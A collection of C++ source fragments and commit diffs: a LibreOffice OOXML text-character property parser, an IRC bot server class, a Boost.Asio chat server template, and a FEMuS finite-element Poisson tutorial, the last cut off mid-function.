A_TOKEN( kumimoji )
A_TOKEN( spc )
A_TOKEN( normalizeH )
A_TOKEN( noProof )
A_TOKEN( dirty )
A_TOKEN( err )
A_TOKEN( smtClean )
A_TOKEN( smtId )
*/
}
TextCharacterPropertiesContext::~TextCharacterPropertiesContext()
{
}
ContextHandlerRef TextCharacterPropertiesContext::onCreateContext( sal_Int32 aElementToken, const AttributeList& rAttribs )
{
switch( aElementToken )
{
// TODO unsupported yet
// case A_TOKEN( ln ): // CT_LineProperties
// return new LinePropertiesContext( getHandler(), rAttribs, maTextOutlineProperties );
case A_TOKEN( solidFill ): // EG_FillProperties
return new ColorContext( *this, mrTextCharacterProperties.maCharColor );
// EG_EffectProperties
case A_TOKEN( effectDag ): // CT_EffectContainer 5.1.10.25
case A_TOKEN( effectLst ): // CT_EffectList 5.1.10.26
break;
case A_TOKEN( highlight ): // CT_Color
return new ColorContext( *this, mrTextCharacterProperties.maHighlightColor );
// EG_TextUnderlineLine
case A_TOKEN( uLnTx ): // CT_TextUnderlineLineFollowText
mrTextCharacterProperties.moUnderlineLineFollowText = true;
break;
// TODO unsupported yet
// case A_TOKEN( uLn ): // CT_LineProperties
// return new LinePropertiesContext( getHandler(), rAttribs, maUnderlineProperties );
// EG_TextUnderlineFill
case A_TOKEN( uFillTx ): // CT_TextUnderlineFillFollowText
mrTextCharacterProperties.moUnderlineFillFollowText = true;
break;
case A_TOKEN( uFill ): // CT_TextUnderlineFillGroupWrapper->EG_FillProperties (not supported)
return new SimpleFillPropertiesContext( *this, mrTextCharacterProperties.maUnderlineColor );
// CT_FontCollection
case A_TOKEN( latin ): // CT_TextFont
mrTextCharacterProperties.maLatinFont.setAttributes( rAttribs );
break;
case A_TOKEN( ea ): // CT_TextFont
mrTextCharacterProperties.maAsianFont.setAttributes( rAttribs );
break;
case A_TOKEN( cs ): // CT_TextFont
mrTextCharacterProperties.maComplexFont.setAttributes( rAttribs );
break;
case A_TOKEN( sym ): // CT_TextFont
mrTextCharacterProperties.maSymbolFont.setAttributes( rAttribs );
break;
case A_TOKEN( hlinkClick ): // CT_Hyperlink
case A_TOKEN( hlinkMouseOver ): // CT_Hyperlink
return new HyperLinkContext( *this, rAttribs, mrTextCharacterProperties.maHyperlinkPropertyMap );
case A_TOKEN( gradFill ):
return new GradientFillContext( *this, rAttribs, mrTextCharacterProperties.maGradientProps );
case OOX_TOKEN( doc, rFonts ):
if( rAttribs.hasAttribute(OOX_TOKEN(doc, ascii)) )
{
mrTextCharacterProperties.maLatinFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, ascii), OUString()));
}
if (rAttribs.hasAttribute(OOX_TOKEN(doc, asciiTheme)))
{
mrTextCharacterProperties.maLatinThemeFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, asciiTheme), OUString()));
}
if( rAttribs.hasAttribute(OOX_TOKEN(doc, cs)) )
{
mrTextCharacterProperties.maComplexFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, cs), OUString()));
}
if (rAttribs.hasAttribute(OOX_TOKEN(doc, cstheme)))
{
mrTextCharacterProperties.maComplexThemeFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, cstheme), OUString()));
}
if( rAttribs.hasAttribute(OOX_TOKEN(doc, eastAsia)) )
{
mrTextCharacterProperties.maAsianFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, eastAsia), OUString()));
}
if (rAttribs.hasAttribute(OOX_TOKEN(doc, eastAsiaTheme)))
{
mrTextCharacterProperties.maAsianThemeFont.setAttributes(rAttribs.getString(OOX_TOKEN(doc, eastAsiaTheme), OUString()));
}
break;
case OOX_TOKEN( doc, b ):
mrTextCharacterProperties.moBold = rAttribs.getBool(OOX_TOKEN( doc, val ), true);
break;
case OOX_TOKEN( doc, bCs ):
break;
case OOX_TOKEN( doc, color ):
if (rAttribs.getInteger(OOX_TOKEN(doc, val)).has())
{
mrTextCharacterProperties.maCharColor.setSrgbClr(rAttribs.getIntegerHex(OOX_TOKEN(doc, val)).get());
}
break;
case OOX_TOKEN( doc, sz ):
if (rAttribs.getInteger(OOX_TOKEN(doc, val)).has())
{
sal_Int32 nVal = rAttribs.getInteger(OOX_TOKEN(doc, val)).get();
// wml has half points, dml has hundred points
mrTextCharacterProperties.moHeight = nVal * 50;
}
break;
case OOX_TOKEN( doc, szCs ):
break;
case OOX_TOKEN( doc, caps ):
{
if( rAttribs.getBool(OOX_TOKEN( doc, val ), true) )
mrTextCharacterProperties.moCaseMap = XML_all;
else
mrTextCharacterProperties.moCaseMap = XML_none;
}
break;
case OOX_TOKEN( doc, smallCaps ):
{
if( rAttribs.getBool(OOX_TOKEN( doc, val ), true) )
mrTextCharacterProperties.moCaseMap = XML_small;
else
mrTextCharacterProperties.moCaseMap = XML_none;
}
break;
case OOX_TOKEN(w14, glow):
case OOX_TOKEN(w14, shadow):
case OOX_TOKEN(w14, reflection):
case OOX_TOKEN(w14, textOutline):
case OOX_TOKEN(w14, textFill):
case OOX_TOKEN(w14, scene3d):
case OOX_TOKEN(w14, props3d):
case OOX_TOKEN(w14, ligatures):
case OOX_TOKEN(w14, numForm):
case OOX_TOKEN(w14, numSpacing):
case OOX_TOKEN(w14, stylisticSets):
case OOX_TOKEN(w14, cntxtAlts):
{
return new TextEffectsContext( *this, aElementToken, mrTextCharacterProperties.maTextEffectsProperties );
}
break;
default:
SAL_INFO("oox", "TextCharacterPropertiesContext::onCreateContext: unhandled element: " << getBaseToken(aElementToken));
break;
}
return this;
}
} }
/* vim:set shiftwidth=4 softtabstop=4 expandtab: */
<|endoftext|>
|
<commit_before>#include "server.h"
#ifndef SERVER_ROBOBO
#define SERVER_ROBOBO
class Server {
public:
Server(std::tr1::unordered_map<std::string, std::string> serverConfig);
void parseCapab(std::vector<std::string> line005);
void sendMsg(std::string message);
bool isConnected();
private:
std::string receiveLine();
std::string networkName;
std::vector<char> statusModes, chanTypes, chanModes;
short numModes;
Socket connection ();
};
Server::Server(std::tr1::unordered_map<std::string, std::string> serverConfig) {
unsigned short port;
std::istringstream portChange(serverConfig["port"]);
portChange >> port;
if (!portChange) {
perror("A port was specified incorrectly in the configuration file.");
exit(0);
}
connection.connectServer(serverConfig["address"], port);
// handle the whole connection to the server soon
}
void Server::parseCapab(std::vector<std::string> line005) {
// I'll handle this when I get there.
}
void Server::sendMsg(std::string message) {
message += "\r\n";
if (connection.send(message))
std::cout << networkName << ">" << message;
else {
std::cout << "Error: " << networkName << ">" << message;
connection.closeConnection();
}
}
std::string Server::receiveLine() {
if (connection.isConnected())
return connection.receive();
else
return "";
}
bool Server::isConnected() {
return connection.isConnected();
}
#endif<commit_msg>Add to server class<commit_after>#include "server.h"
#ifndef SERVER_ROBOBO
#define SERVER_ROBOBO
class Server {
public:
Server(std::tr1::unordered_map<std::string, std::string> serverConfig);
void parseCapab(std::vector<std::string> line005);
void sendMsg(std::string message);
bool isConnected();
private:
void joinChannel(std::string channelName);
std::string receiveLine();
std::string networkName;
std::vector<char> statusModes, chanTypes, chanModes;
short numModes;
Socket connection ();
std::tr1::unordered_map<std::string, Channel> channels;
};
Server::Server(std::tr1::unordered_map<std::string, std::string> serverConfig) {
unsigned short port;
std::istringstream portChange(serverConfig["port"]);
portChange >> port;
if (!portChange) {
perror("A port was specified incorrectly in the configuration file.");
exit(0);
}
connection.connectServer(serverConfig["address"], port);
// handle the whole connection to the server soon
}
void Server::parseCapab(std::vector<std::string> line005) {
// I'll handle this when I get there.
}
void Server::sendMsg(std::string message) {
message += "\r\n";
if (connection.send(message))
std::cout << networkName << ">" << message;
else {
std::cout << "Error: " << networkName << ">" << message;
connection.closeConnection();
}
}
std::string Server::receiveLine() {
if (connection.isConnected())
return connection.receive();
else
return "";
}
bool Server::isConnected() {
return connection.isConnected();
}
void Server::joinChannel(std::string channelName) {
std::pair<std::string, Channel> oneChannel(channelName, Channel());
channels.insert(oneChannel);
}
#endif<|endoftext|>
|
<commit_before>#include <string>
#include <boost/asio.hpp>
#include <boost/bind.hpp>
#include <boost/enable_shared_from_this.hpp>
#include <boost/shared_ptr.hpp>
#include <boost/thread.hpp>
#include <boost/thread/locks.hpp>
namespace asio = boost::asio;
namespace ip = asio::ip;
namespace placeholders = asio::placeholders;
namespace sys = boost::system;
#include "./server_chat.hpp"
#include "./connection.hpp"
#include "./server.hpp"
template<
typename TTask,
typename TState
>
Server< TTask, TState >::Server(
std::string const & port
)
: m_strand( m_ioService )
, m_acceptor( m_ioService )
, m_signals( m_ioService )
#ifdef SERVER_SSL
, m_sslContext( ssl::context::sslv23 )
#endif
{
m_signals.add( SIGINT );
m_signals.add( SIGTERM );
m_signals.add( SIGQUIT );
m_signals.async_wait(
boost::bind( & Server< TTask, TState >::stop, this )
);
ip::tcp::resolver resolver( m_ioService );
ip::tcp::resolver::query query( "127.0.0.1", port );
ip::tcp::endpoint endpoint = * resolver.resolve( query );
m_acceptor.open( endpoint.protocol() );
m_acceptor.set_option( ip::tcp::acceptor::reuse_address( true ) );
m_acceptor.bind( endpoint );
m_acceptor.listen();
#ifdef SERVER_SSL
m_sslContext.set_options(
ssl::context::default_workarounds
| ssl::context::no_sslv2
| ssl::context::single_dh_use
);
auto const passwordCallback = [ & ](
std::size_t size,
std::size_t purpose
) -> std::string
{
return "test";
};
m_sslContext.set_password_callback( passwordCallback );
m_sslContext.use_certificate_chain_file( "server.pem" );
m_sslContext.use_private_key_file( "server-key.pem", ssl::context::pem );
#endif
startAccept();
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::init( int argc, char* argv[] )
{
stateInit( argc, argv );
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::destroy()
{
stateDestroy();
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::run()
{
run( 0, {} );
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::run(
int argc,
char* argv[]
)
{
init( argc, argv );
boost::thread_group threadGroup;
auto const threadBody = boost::bind(
& asio::io_service::run,
& m_ioService
);
for( unsigned i = 0 ; i < 4 ; ++ i )
{
threadGroup.create_thread( threadBody );
}
threadGroup.join_all();
destroy();
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::broadcast(
ConnectionPtr const & sender,
char const * const message,
std::size_t const size
)
{
auto const skipSender = [ & sender ]( ConnectionPtr const & connectionPtr )
{
return sender->socket().native_handle() != connectionPtr->socket().native_handle();
};
auto sendMessage = [ this, & sender, & size, & message ]( ConnectionPtr const & connectionPtr )
{
auto const continuation = boost::bind(
& Connection< TTask, TState >::doNothing,
sender,
placeholders::error
);
asio::async_write(
connectionPtr->socket(),
asio::buffer( message, size ),
continuation
);
};
m_connectionManager.forEachIf( skipSender, sendMessage );
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::unicast(
ConnectionPtr const & sender,
std::string const & receiverId,
char const * const message,
std::size_t const size
)
{
auto const matchReceiver = [ this, & receiverId ]( ConnectionPtr const & connectionPtr )
{
return receiverId == connectionPtr->getId();
};
auto sendMessage = [ this, & sender, & size, & message ]( ConnectionPtr const & connectionPtr )
{
auto const continuation = boost::bind(
& Connection< TTask, TState >::doNothing,
sender,
placeholders::error
);
asio::async_write(
connectionPtr->socket(),
asio::buffer( message, size ),
continuation
);
};
m_connectionManager.forEachIf( matchReceiver, sendMessage );
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::disconnect(
ConnectionPtr const & sender
)
{
m_connectionManager.remove( sender );
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::startAccept()
{
m_newConnection.reset( new Connection< TTask, TState >( m_ioService, *this ) );
auto const onAccepted = boost::bind(
& Server< TTask, TState >::onAccepted,
this,
placeholders::error
);
m_acceptor.async_accept(
#ifdef SERVER_SSL
m_newConnection->socket().lowest_layer(),
#else
m_newConnection->socket(),
#endif
onAccepted
);
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::onAccepted(
sys::error_code const & errorCode
)
{
if( ! errorCode )
{
m_connectionManager.add( m_newConnection );
m_newConnection->start( TTask::start() );
}
startAccept();
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::stop()
{
m_ioService.stop();
}
<commit_msg>Use Connection::response inside Server<commit_after>#include <string>
#include <boost/asio.hpp>
#include <boost/bind.hpp>
#include <boost/enable_shared_from_this.hpp>
#include <boost/shared_ptr.hpp>
#include <boost/thread.hpp>
#include <boost/thread/locks.hpp>
namespace asio = boost::asio;
namespace ip = asio::ip;
namespace placeholders = asio::placeholders;
namespace sys = boost::system;
#include "./server_chat.hpp"
#include "./connection.hpp"
#include "./server.hpp"
template<
typename TTask,
typename TState
>
Server< TTask, TState >::Server(
std::string const & port
)
: m_strand( m_ioService )
, m_acceptor( m_ioService )
, m_signals( m_ioService )
#ifdef SERVER_SSL
, m_sslContext( ssl::context::sslv23 )
#endif
{
m_signals.add( SIGINT );
m_signals.add( SIGTERM );
m_signals.add( SIGQUIT );
m_signals.async_wait(
boost::bind( & Server< TTask, TState >::stop, this )
);
ip::tcp::resolver resolver( m_ioService );
ip::tcp::resolver::query query( "127.0.0.1", port );
ip::tcp::endpoint endpoint = * resolver.resolve( query );
m_acceptor.open( endpoint.protocol() );
m_acceptor.set_option( ip::tcp::acceptor::reuse_address( true ) );
m_acceptor.bind( endpoint );
m_acceptor.listen();
#ifdef SERVER_SSL
m_sslContext.set_options(
ssl::context::default_workarounds
| ssl::context::no_sslv2
| ssl::context::single_dh_use
);
auto const passwordCallback = [ & ](
std::size_t size,
std::size_t purpose
) -> std::string
{
return "test";
};
m_sslContext.set_password_callback( passwordCallback );
m_sslContext.use_certificate_chain_file( "server.pem" );
m_sslContext.use_private_key_file( "server-key.pem", ssl::context::pem );
#endif
startAccept();
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::init( int argc, char* argv[] )
{
stateInit( argc, argv );
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::destroy()
{
stateDestroy();
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::run()
{
run( 0, {} );
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::run(
int argc,
char* argv[]
)
{
init( argc, argv );
boost::thread_group threadGroup;
auto const threadBody = boost::bind(
& asio::io_service::run,
& m_ioService
);
for( unsigned i = 0 ; i < 4 ; ++ i )
{
threadGroup.create_thread( threadBody );
}
threadGroup.join_all();
destroy();
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::broadcast(
ConnectionPtr const & sender,
char const * const message,
std::size_t const size
)
{
auto const skipSender = [ & sender ]( ConnectionPtr const & connectionPtr )
{
return sender->socket().native_handle() != connectionPtr->socket().native_handle();
};
auto sendMessage = [ this, & sender, & size, & message ]( ConnectionPtr const & connectionPtr )
{
connectionPtr->response( message, size );
};
m_connectionManager.forEachIf( skipSender, sendMessage );
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::unicast(
ConnectionPtr const & sender,
std::string const & receiverId,
char const * const message,
std::size_t const size
)
{
auto const matchReceiver = [ this, & receiverId ]( ConnectionPtr const & connectionPtr )
{
return receiverId == connectionPtr->getId();
};
auto sendMessage = [ this, & sender, & size, & message ]( ConnectionPtr const & connectionPtr )
{
connectionPtr->response( message, size );
};
m_connectionManager.forEachIf( matchReceiver, sendMessage );
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::disconnect(
ConnectionPtr const & sender
)
{
m_connectionManager.remove( sender );
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::startAccept()
{
m_newConnection.reset( new Connection< TTask, TState >( m_ioService, *this ) );
auto const onAccepted = boost::bind(
& Server< TTask, TState >::onAccepted,
this,
placeholders::error
);
m_acceptor.async_accept(
#ifdef SERVER_SSL
m_newConnection->socket().lowest_layer(),
#else
m_newConnection->socket(),
#endif
onAccepted
);
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::onAccepted(
sys::error_code const & errorCode
)
{
if( ! errorCode )
{
m_connectionManager.add( m_newConnection );
m_newConnection->start( TTask::start() );
}
startAccept();
}
template<
typename TTask,
typename TState
>
void Server< TTask, TState >::stop()
{
m_ioService.stop();
}
<|endoftext|>
|
<commit_before>/** tutorial/Ex2
* This example shows how to set and solve the weak form of the Poisson problem
* $$ \Delta u = 1 \text{ on }\Omega, $$
* $$ u=0 \text{ on } \Gamma, $$
* on a square domain $\Omega$ with boundary $\Gamma$;
* all the coarse-level meshes are removed;
* a multilevel problem and an equation system are initialized;
* a direct solver is used to solve the problem.
**/
#include "FemusInit.hpp"
#include "MultiLevelProblem.hpp"
#include "NumericVector.hpp"
#include "VTKWriter.hpp"
#include "GMVWriter.hpp"
#include "LinearImplicitSystem.hpp"
using namespace femus;
bool SetBoundaryCondition(const double &x, const double &y, const double &z,const char name[], double &value, const int facename, const double time) {
bool dirichlet=1; //dirichlet
value=0.;
return dirichlet;
}
void AssemblePoissonProblem(MultiLevelProblem &ml_prob, unsigned level, const unsigned &levelMax, const bool &assembleMatrix);
int main(int argc, char **args) {
// init Petsc-MPI communicator
FemusInit mpinit(argc, args, MPI_COMM_WORLD);
// define multilevel mesh
MultiLevelMesh mlMsh;
// read coarse level mesh and generate finers level meshes
double scalingFactor=1.;
mlMsh.ReadCoarseMesh("./input/square.neu","seventh",scalingFactor);
/* "seventh" is the order of accuracy that is used in the gauss integration scheme
probably in the furure it is not going to be an argument of this function */
unsigned numberOfUniformLevels=2;
unsigned numberOfSelectiveLevels=0;
mlMsh.RefineMesh(numberOfUniformLevels , numberOfUniformLevels + numberOfSelectiveLevels, NULL);
// erase all the coarse mesh levels
mlMsh.EraseCoarseLevels(numberOfUniformLevels-1);
// print mesh info
mlMsh.PrintInfo();
// define the multilevel solution and attach the mlMsh object to it
MultiLevelSolution mlSol(&mlMsh);
// add variables to mlSol
mlSol.AddSolution("u",LAGRANGE, FIRST);
mlSol.Initialize("All");
// attach the boundary condition function and generate boundary data
mlSol.AttachSetBoundaryConditionFunction(SetBoundaryCondition);
mlSol.GenerateBdc("u");
// define the multilevel problem attach the mlSol object to it
MultiLevelProblem mlProb(&mlSol);
// add system Poisson in mlProb as a Linear Implicit System
LinearImplicitSystem & system = mlProb.add_system < LinearImplicitSystem > ("Poisson");
// add solution "u" to system
system.AddSolutionToSystemPDE("u");
// attach the assembling function to system
system.SetAssembleFunction(AssemblePoissonProblem);
// initilaize and solve the system
system.init();
system.solve();
// print solutions
std::vector < std::string > variablesToBePrinted;
variablesToBePrinted.push_back("All");
VTKWriter vtkIO(mlSol);
vtkIO.write_system_solutions(DEFAULT_OUTPUTDIR, "biquadratic", variablesToBePrinted);
GMVWriter gmvIO(mlSol);
gmvIO.SetDebugOutput(true);
gmvIO.write_system_solutions(DEFAULT_OUTPUTDIR, "biquadratic", variablesToBePrinted);
return 0;
}
/**
* This function assemble the stiffnes matrix KK and the residual vector Res
* such that
* KK w = RES = F - KK u0,
* and consequently
* u = u0 + w satisfies KK u = F
**/
void AssemblePoissonProblem(MultiLevelProblem &ml_prob, unsigned level, const unsigned &levelMax, const bool &assembleMatrix) {
// ml_prob is the global object from/to where get/set all the data
// level is the level of the PDE system to be assembled
// levelMax is the Maximum level of the MultiLevelProblem
// assembleMatrix is a flag that tells if only the residual or also the matrix should be assembled
// extract pointers to the several objects that we are going to use
Mesh* msh = ml_prob._ml_msh->GetLevel(level); // pointer to the mesh (level) object
elem* el = msh->el; // pointer to the elem object in msh (level)
MultiLevelSolution* mlSol = ml_prob._ml_sol; // pointer to the multilevel solution object
Solution* sol = ml_prob._ml_sol->GetSolutionLevel(level); // pointer to the solution (level) object
LinearImplicitSystem* mlPdeSys = &ml_prob.get_system<LinearImplicitSystem>("Poisson"); // pointer to the linear implicit system named "Poisson"
LinearEquationSolver* pdeSys = mlPdeSys->_LinSolver[level]; // pointer to the equation (level) object
SparseMatrix* KK = pdeSys->_KK; // pointer to the global stifness matrix object in pdeSys (level)
NumericVector* RES = pdeSys->_RES; // pointer to the global residual vector object in pdeSys (level)
const unsigned dim = msh->GetDimension(); // get the domain dimension of the problem
unsigned iproc = msh->processor_id(); // get the process_id (for parallel computation)
//solution variable
unsigned soluIndex;
soluIndex = mlSol->GetIndex("u"); // get the position of "u" in the ml_sol object
unsigned soluType = mlSol->GetSolutionType(soluIndex); // get the finite element type for "u"
unsigned soluPdeIndex;
soluPdeIndex = mlPdeSys->GetSolPdeIndex("u"); // get the position of "u" in the pdeSys object
vector < double > solu; // local solution
vector < vector < double > > x(dim); // local coordinates
unsigned xType = 2; // get the finite element type for "x", it is always 2 (LAGRANGE QUADRATIC)
vector< int > KKDof; // local to global pdeSys dofs
vector <double> phi; // local test function
vector <double> phi_x; // local test function first order partial derivatives
vector <double> phi_xx; // local test function second order partial derivatives
double weight; // gauss point weight
vector< double > Res; // local redidual vector
vector< double > K; // local stiffness matrix
// reserve memory for the local standar vectors
const unsigned maxSize = static_cast< unsigned > (ceil(pow(3,dim))); // conservative: based on line3, quad9, hex27
solu.reserve(maxSize);
for(unsigned i = 0; i < dim; i++)
x[i].reserve(maxSize);
KKDof.reserve(maxSize);
phi.reserve(maxSize);
phi_x.reserve(maxSize*dim);
unsigned dim2=(3*(dim-1)+!(dim-1)); // dim2 is the number of second order partial derivatives (1,3,6 depending on the dimension)
phi_xx.reserve(maxSize*dim2);
Res.reserve(maxSize);
K.reserve(maxSize*maxSize);
if( assembleMatrix )
KK->zero(); // Set to zero all the entries of the Global Matrix
// element loop: each process loops only on the elements that owns
for (int iel=msh->IS_Mts2Gmt_elem_offset[iproc]; iel < msh->IS_Mts2Gmt_elem_offset[iproc+1]; iel++) {
unsigned kel = msh->IS_Mts2Gmt_elem[iel]; // mapping between paralell dof and mesh dof
short unsigned kelGeom = el->GetElementType( kel ); // element geometry type
unsigned nDofs = el->GetElementDofNumber( kel, soluType); // number of solution element dofs
unsigned nDofs2 = el->GetElementDofNumber( kel, xType); // number of coordinate element dofs
// resize local arrays
KKDof.resize(nDofs);
solu.resize(nDofs);
for(int i=0; i<dim; i++) {
x[i].resize(nDofs2);
}
Res.resize(nDofs); //resize
std::fill(Res.begin(), Res.end(), 0); //set Res to zero
if(assembleMatrix) {
K.resize(nDofs*nDofs); //resize
std::fill(K.begin(), K.end(), 0); //set K to zero
}
// local storage of global mapping and solution
for( unsigned i=0; i<nDofs; i++) {
unsigned iNode = el->GetMeshDof(kel, i, soluType); // local to global solution node
unsigned solDof = msh->GetMetisDof(iNode, soluType); // global to global mapping between solution node and solution dof
solu[i] = (*sol->_Sol[soluIndex])(solDof); // global extraction and local storage for the solution
KKDof[i] = pdeSys->GetKKDof(soluIndex, soluPdeIndex, iNode); // global to global mapping between solution node and pdeSys dof
}
// local storage of coordinates
for( unsigned i=0; i<nDofs2; i++) {
unsigned iNode = el->GetMeshDof(kel, i, xType); // local to global coordinates node
unsigned xDof = msh->GetMetisDof(iNode, xType); // global to global mapping between coordinates node and coordinate dof
for(unsigned jdim=0; jdim<dim; jdim++) {
x[jdim][i] = (*msh->_coordinate->_Sol[jdim])(xDof); // global extraction and local storage for the element coordinates
}
}
if( level == levelMax || !el->GetRefinedElementIndex(kel)) { // do not care about this if now (it is used for the AMR)
// *** Gauss point loop ***
for(unsigned ig=0; ig < msh->_finiteElement[kelGeom][soluType]->GetGaussPointNumber(); ig++) {
// *** get gauss point weight, test function and test function partial derivatives ***
msh->_finiteElement[kelGeom][soluType]->Jacobian(x,ig,weight,phi,phi_x,phi_xx);
// evaluate the solution, the solution derivatives and the coordinates in the gauss point
double soluGauss = 0;
vector < double > soluGauss_x(dim,0.);
vector < double > xGauss(dim,0.);
for(unsigned i=0; i<nDofs; i++) {
soluGauss+=phi[i]*solu[i];
for(unsigned jdim=0; jdim<dim; jdim++) {
soluGauss_x[jdim] += phi_x[i*dim+jdim]*solu[i];
xGauss[jdim] += x[jdim][i]*phi[i];
}
}
// *** phi_i loop ***
for(unsigned i=0; i<nDofs; i++) {
double laplace = 0.;
for(unsigned jdim=0; jdim<dim; jdim++) {
laplace += phi_x[i*dim+jdim]*soluGauss_x[jdim];
}
double srcTerm = 1.;
Res[i]+= (srcTerm*phi[i] - laplace) * weight;
if( assembleMatrix ) {
// *** phi_j loop ***
for(unsigned j=0; j<nDofs; j++) {
laplace = 0.;
for(unsigned kdim=0; kdim<dim; kdim++) {
laplace += ( phi_x[i*dim + kdim] * phi_x[j*dim + kdim] )*weight;
}
K[i*nDofs+j] += laplace;
} // end phi_j loop
} // endif assemble_matrix
} // end phi_i loop
} // end gauss point loop
} // endif single element not refined or fine grid loop
//--------------------------------------------------------------------------------------------------------
// Add the local Matrix/Vector into the global Matrix/Vector
RES->add_vector_blocked(Res,KKDof);
if(assembleMatrix) KK->add_matrix_blocked(K,KKDof,KKDof);
} //end element loop for each process
RES->close();
if( assembleMatrix ) KK->close();
// ***************** END ASSEMBLY *******************
}
<commit_msg>trying multiple declarartions in Ex2, vtk not working<commit_after>/** tutorial/Ex2
* This example shows how to set and solve the weak form of the Poisson problem
* $$ \Delta u = 1 \text{ on }\Omega, $$
* $$ u=0 \text{ on } \Gamma, $$
* on a square domain $\Omega$ with boundary $\Gamma$;
* all the coarse-level meshes are removed;
* a multilevel problem and an equation system are initialized;
* a direct solver is used to solve the problem.
**/
#include "FemusInit.hpp"
#include "MultiLevelProblem.hpp"
#include "NumericVector.hpp"
#include "VTKWriter.hpp"
#include "GMVWriter.hpp"
#include "LinearImplicitSystem.hpp"
using namespace femus;
bool SetBoundaryCondition(const double &x, const double &y, const double &z,const char name[], double &value, const int facename, const double time) {
bool dirichlet=1; //dirichlet
value=0.;
return dirichlet;
}
void AssemblePoissonProblem(MultiLevelProblem &ml_prob, unsigned level, const unsigned &levelMax, const bool &assembleMatrix);
int main(int argc, char **args) {
// init Petsc-MPI communicator
FemusInit mpinit(argc, args, MPI_COMM_WORLD);
// define multilevel mesh
MultiLevelMesh mlMsh;
// read coarse level mesh and generate finers level meshes
double scalingFactor=1.;
mlMsh.ReadCoarseMesh("./input/square.neu","seventh",scalingFactor);
/* "seventh" is the order of accuracy that is used in the gauss integration scheme
probably in the furure it is not going to be an argument of this function */
unsigned numberOfUniformLevels=2;
unsigned numberOfSelectiveLevels=0;
mlMsh.RefineMesh(numberOfUniformLevels , numberOfUniformLevels + numberOfSelectiveLevels, NULL);
// erase all the coarse mesh levels
mlMsh.EraseCoarseLevels(numberOfUniformLevels-1);
// print mesh info
mlMsh.PrintInfo();
for(unsigned i=0;i<2;i++){
// define the multilevel solution and attach the mlMsh object to it
MultiLevelSolution *mlSol;
mlSol=new MultiLevelSolution(&mlMsh);
// add variables to mlSol
mlSol->AddSolution("u",LAGRANGE, FIRST);
mlSol->Initialize("All");
// attach the boundary condition function and generate boundary data
mlSol->AttachSetBoundaryConditionFunction(SetBoundaryCondition);
mlSol->GenerateBdc("u");
// define the multilevel problem attach the mlSol object to it
MultiLevelProblem *mlProb;
mlProb = new MultiLevelProblem(mlSol);
// add system Poisson in mlProb as a Linear Implicit System
LinearImplicitSystem & system = mlProb->add_system < LinearImplicitSystem > ("Poisson");
// add solution "u" to system
system.AddSolutionToSystemPDE("u");
// attach the assembling function to system
system.SetAssembleFunction(AssemblePoissonProblem);
// initilaize and solve the system
system.init();
system.solve();
// print solutions
std::vector < std::string > variablesToBePrinted;
variablesToBePrinted.push_back("All");
VTKWriter *vtkIO;
vtkIO = new VTKWriter(*mlSol);
vtkIO->write_system_solutions(DEFAULT_OUTPUTDIR, "biquadratic", variablesToBePrinted);
// GMVWriter gmvIO(*mlSol);
// gmvIO.SetDebugOutput(true);
// gmvIO.write_system_solutions(DEFAULT_OUTPUTDIR, "biquadratic", variablesToBePrinted);
delete vtkIO;
delete mlProb;
delete mlSol;
}
return 0;
}
/**
* This function assemble the stiffnes matrix KK and the residual vector Res
* such that
* KK w = RES = F - KK u0,
* and consequently
* u = u0 + w satisfies KK u = F
**/
void AssemblePoissonProblem(MultiLevelProblem &ml_prob, unsigned level, const unsigned &levelMax, const bool &assembleMatrix) {
// ml_prob is the global object from/to where get/set all the data
// level is the level of the PDE system to be assembled
// levelMax is the Maximum level of the MultiLevelProblem
// assembleMatrix is a flag that tells if only the residual or also the matrix should be assembled
// extract pointers to the several objects that we are going to use
Mesh* msh = ml_prob._ml_msh->GetLevel(level); // pointer to the mesh (level) object
elem* el = msh->el; // pointer to the elem object in msh (level)
MultiLevelSolution* mlSol = ml_prob._ml_sol; // pointer to the multilevel solution object
Solution* sol = ml_prob._ml_sol->GetSolutionLevel(level); // pointer to the solution (level) object
LinearImplicitSystem* mlPdeSys = &ml_prob.get_system<LinearImplicitSystem>("Poisson"); // pointer to the linear implicit system named "Poisson"
LinearEquationSolver* pdeSys = mlPdeSys->_LinSolver[level]; // pointer to the equation (level) object
SparseMatrix* KK = pdeSys->_KK; // pointer to the global stifness matrix object in pdeSys (level)
NumericVector* RES = pdeSys->_RES; // pointer to the global residual vector object in pdeSys (level)
const unsigned dim = msh->GetDimension(); // get the domain dimension of the problem
unsigned iproc = msh->processor_id(); // get the process_id (for parallel computation)
//solution variable
unsigned soluIndex;
soluIndex = mlSol->GetIndex("u"); // get the position of "u" in the ml_sol object
unsigned soluType = mlSol->GetSolutionType(soluIndex); // get the finite element type for "u"
unsigned soluPdeIndex;
soluPdeIndex = mlPdeSys->GetSolPdeIndex("u"); // get the position of "u" in the pdeSys object
vector < double > solu; // local solution
vector < vector < double > > x(dim); // local coordinates
unsigned xType = 2; // get the finite element type for "x", it is always 2 (LAGRANGE QUADRATIC)
vector< int > KKDof; // local to global pdeSys dofs
vector <double> phi; // local test function
vector <double> phi_x; // local test function first order partial derivatives
vector <double> phi_xx; // local test function second order partial derivatives
double weight; // gauss point weight
vector< double > Res; // local redidual vector
vector< double > K; // local stiffness matrix
// reserve memory for the local standar vectors
